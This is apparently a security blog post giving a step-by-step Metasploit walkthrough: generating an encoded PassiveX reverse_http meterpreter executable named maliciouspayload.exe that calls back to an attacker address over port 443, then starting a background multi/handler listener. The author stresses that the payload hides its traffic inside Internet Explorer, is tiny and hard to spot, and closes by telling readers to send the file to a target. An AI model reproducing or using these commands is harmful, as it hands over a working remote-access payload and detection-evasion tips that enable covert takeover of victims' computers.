Room362.com

Blatherings of a security addict.

PassiveX Fun With Metasploit

| Comments

I posted this walkthrough to the Metasploit mailing list, but thought that it would serve well here as well. Especially with the recent iPhone 3.0 “Special” download spam I recently received. The binary comes out to a whopping 97 bytes for the stager. Would be a blazing fast download and coupled with the IExpress “hack” would make for an very hard to spot payload.

A really down and dirty explination of what PassiveX is and why it’s useful in this sort of situation is that instead of making a direct connection back to you, it uses an iexplorer process with a cool ActiveX control to talk back. So someone looking for a rogue process will only see Internet Explorer open and talking over port 443 (as specified).

(props to skape for writting PassiveX and @NatronKeltner for kicking in the latest tweaks to make it work with IE7/IE8)

Here are the options for msfpayload:

1

Usage: ./msfpayload <payload> [var=val] <S[ummary]|C|P[erl]|[Rub]y|R[aw]|J[avascript]|e[X]ecutable|[V]BA>

And msfencode’s options if you chose to use it as I demonstrate below. However, encoding happens by default with msfpayload (IIRC):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

./msfencode -h
Usage: ./msfencode <options>
OPTIONS:
-a <opt> The architecture to encode as     
-b <opt> The list of characters to avoid: 'x00xff'      
-c <opt> The number of times to encode the data      
-e <opt> The encoder to use      
-h Help banner      
-i <opt> Encode the contents of the supplied file path      
-l List available encoders      
-m <opt> Specifies an additional module search path      
-n Dump encoder information      
-o <opt> The output file      
-s <opt> The maximum size of the encoded data      
-t <opt> The format to display the encoded buffer with (c, elf, exe, java, perl, raw, ruby, vba)

Here we create the PassiveX payload. Note the PX options instead of the LHOST/LPORT:

1
2

./msfpayload windows/reflectivemeterpreter/reverse_http PXHOST=192.168.1.100 PXPORT=443 PXURI=/ R | ./msfencode -t exe -o /tmp/maliciouspayload.exe
[*] x86/shikata_ga_nai succeeded with size 97 (iteration=1)

Now that we have our “malicious payload” in /tmp we get our listener ready (you can use msfcli as well, I just like msfconsole because it provides me more flexibility):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

./msfconsole

 

_     
| | o      
_ _ _ _ _|_ __, , _ | | __ _|_      
/ |/ |/ | |/ | / | / _|/ _|/ / _| |      
| | |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/      
/|      
|

 

=[ msf v3.3-dev     
+ -- --=[ 376 exploits - 234 payloads      
+ -- --=[ 20 encoders - 7 nops      
=[ 153 aux

 

msf > use multi/handler     
msf exploit(handler) > exploit -h

(I’m showing you ‘exploit’s options because a lot of people don’t know they exist. With two lines you can start your listener (use, then exploit):**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

Usage: exploit [options]     
Launches an exploitation attempt.

OPTIONS:     
-e <opt> The payload encoder to use. If none is specified, ENCODER is used.      
-h Help banner.      
-j Run in the context of a job.      
-n <opt> The NOP generator to use. If none is specified, NOP is used.      
-o <opt> A comma separated list of options in VAR=VAL format.      
-p <opt> The payload to use. If none is specified, PAYLOAD is used.      
-t <opt> The target index to use. If none is specified, TARGET is used.      
-z Do not interact with the session after successful exploitation.

msf exploit(handler) > exploit -j -z -p windows/reflectivemeterpreter/reverse_http -o PXHOST=0.0.0.0,PXPORT=443,PXURI=/,ExitOnSession=False

[*] Exploit running as background job.     
[*] PassiveX listener started.      
[*] Starting the payload handler...

 msf exploit(handler) >

Listener ready to go. I chose IP: 0.0.0.0 just to make things easy. Just send off maliciouspayload.exe to your target and you’re set.

Comments